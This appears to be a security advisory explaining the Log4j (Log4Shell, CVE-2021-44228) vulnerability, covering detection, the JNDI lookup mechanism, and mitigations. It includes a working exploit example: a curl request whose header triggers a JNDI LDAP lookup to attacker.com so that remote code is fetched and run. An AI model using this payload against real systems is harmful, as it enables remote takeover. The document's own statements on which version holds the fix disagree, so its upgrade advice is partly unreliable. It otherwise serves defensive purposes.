The Internet is abuzz with a Critical Severity vulnerability in one of the most ubiquitous Java packages used for logging - Log4j. The vulnerability allows for a remote unauthenticated command execution and system take over when exploited.
This document shows how you can detect, exploit and mitigate the vulnerability. The vulnerability arises because the Log4j package mixes command and data resulting in execution of strings that are interpreted as a command.
The impacted versions of Log4j are 2.0 to 2.14.1. Successful exploitation allows for a very uncomplicated remote command execution without requiring any authentication over the Internet resulting in a complete compromise of data and system confidentiality, integrity and availability - giving this vulnerability a CVSS score of 10 (Critical).
Log4j is a Java based logging utility. It is a part of the Apache Logging Services which is a project of the Apache Software Foundation. This utility is used to log error and debug messages in hundreds millions of software across the world and is the default logging package in a lot of popular SaaS and online services including Amazon, Apple iCloud, Twitter, Cisco, Cloudflare etc.
The current version of Log4j is version 2 which has significant improvements over version 1 (no longer supported).
The vulnerability affects version 2 of Log4j between versions 2.0-beta-9 and 2.14.1. It is patched in 2.15.0.
A quick way to detect if you have a vulnerable version of the package is to look at dependencies within your projects and identify the version of log4j from there. This is usually in a pom.xml file.
Additionally, you can search the file system for the presence of JAR files log4j-core-*.jar to determine if the vulnerable version is in use. The following find command would work
sudo find / -iname log4j-core*.jarApart from affecting server side components, any applications like fat clients, Java desktop applications, mobile apps that use log4j and applications written in Java derivatives like Jython and JRuby and system libraries which work as logging wrappers could also be affected if using the vulnerable component.
Log4j supports the JNDI (Java Naming and Directory Interface) which is a directory service that allows data to be fetched through a service provider. One of the service providers that can be used to pull data from is LDAP services.
Log4j 2 has the ability to perform property substitution for specially crafted strings. This allows for a string of the form ${prefix:name} to be substituted based on specific Lookups. For example, ${java:os} expands to the operating system version like Windows 7 6.1 Service Pack 1, architecture: amd64-64.
This property substitution combined with the ability of Log4j to use JNDI to fetch data from LDAP sources causes a weakness where a specially crafted property string can be sent to a Java server which gets logged post expansion. When a JNDI prefix is passed with a reference to an LDAP server, the property expansion fetches the data from the LDAP server and parses the response. If the response of the LDAP server contains an HTTP request to a Java class, the class is fetched and executed on the server.
This vulnerability has been assigned CVE-2021-44228 with a CVSS score of 10 (Critical).
The vulnerability can be exploited remotely, without user interaction, over the Internet and any authentication resulting in the Critical severity. The vulnerability is being actively exploited and has already resulted in the creation of various post exploitation variations including cryptomining and malware serving exploits.
The most common exploitation scenario for this vulnerability uses a two step process
A HTTP request is sent to the application server running the vulnerable version of log4j, with the initial exploit stage via a header value. A cURL command to exploit example.com would like below
curl example.com -H 'X-Api-Version: ${jndi:ldap://attacker.com/exploit.class}'The property substitution and JNDI lookup causes the exploit.class to be fetched and executed in memory. The exploit.class is the actual malicious payload that can be programmed to execute specific instructions.
Remediation and mitigations need to use the defence in depth approach. There are several approaches that need to be taken to ensure all attack vectors are covered and additional security is added to the applications.
This vulnerability was remediated in log4j v2.16.0. Upgrading the package to the fixed version remediates this issue. You can download the latest version from https://logging.apache.org/log4j/2.x/download.html. (v2.15.0 is known to be affected by a related vulnerability - CVE-2021-45046 causing a potential DoS).
In previous releases (>=2.10) this behavior can be mitigated by setting system property “log4j2.formatMsgNoLookups” to “true” or by removing the JndiLookup class from the vulnerable JAR files. For example the following command would delete the JndiLookup class from all the log4j-core-*.jar files in the current location
zip -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.classIf you are on log4j v1, then note that version 1 is End Of Life (EOL) and will not receive patches for this issue. Log4J v1 is also vulnerable to other RCE vectors and older vulnerabilities which is why it is recommended to migrate to Log4J 2.15.0 where possible.
If upgrading is not possible, then ensure the -Dlog4j2.formatMsgNoLookups=true command line option is passed to the JVM when restarting to make the vulnerability unexploitable in its current form. For example - java -Dlog4j2.formatMsgNoLookups=true -jar appmyapp.jar
Setup Security Groups and firewall rules to prevent outbound LDAP and RMI traffic. Additionally, allow HTTP traffic to only known safe hosts on the Internet.
If using authentication scopes or instance profiles on compute instances, ensure the privileges assigned to the role are absolute minimal. This would prevent a compromise of other cloud services.
Most major cloud providers have added additional checks to detect and block exploit attempts at the application perimeter via their Web Application Firewall services. Use these to detect and defeat exploit attempts.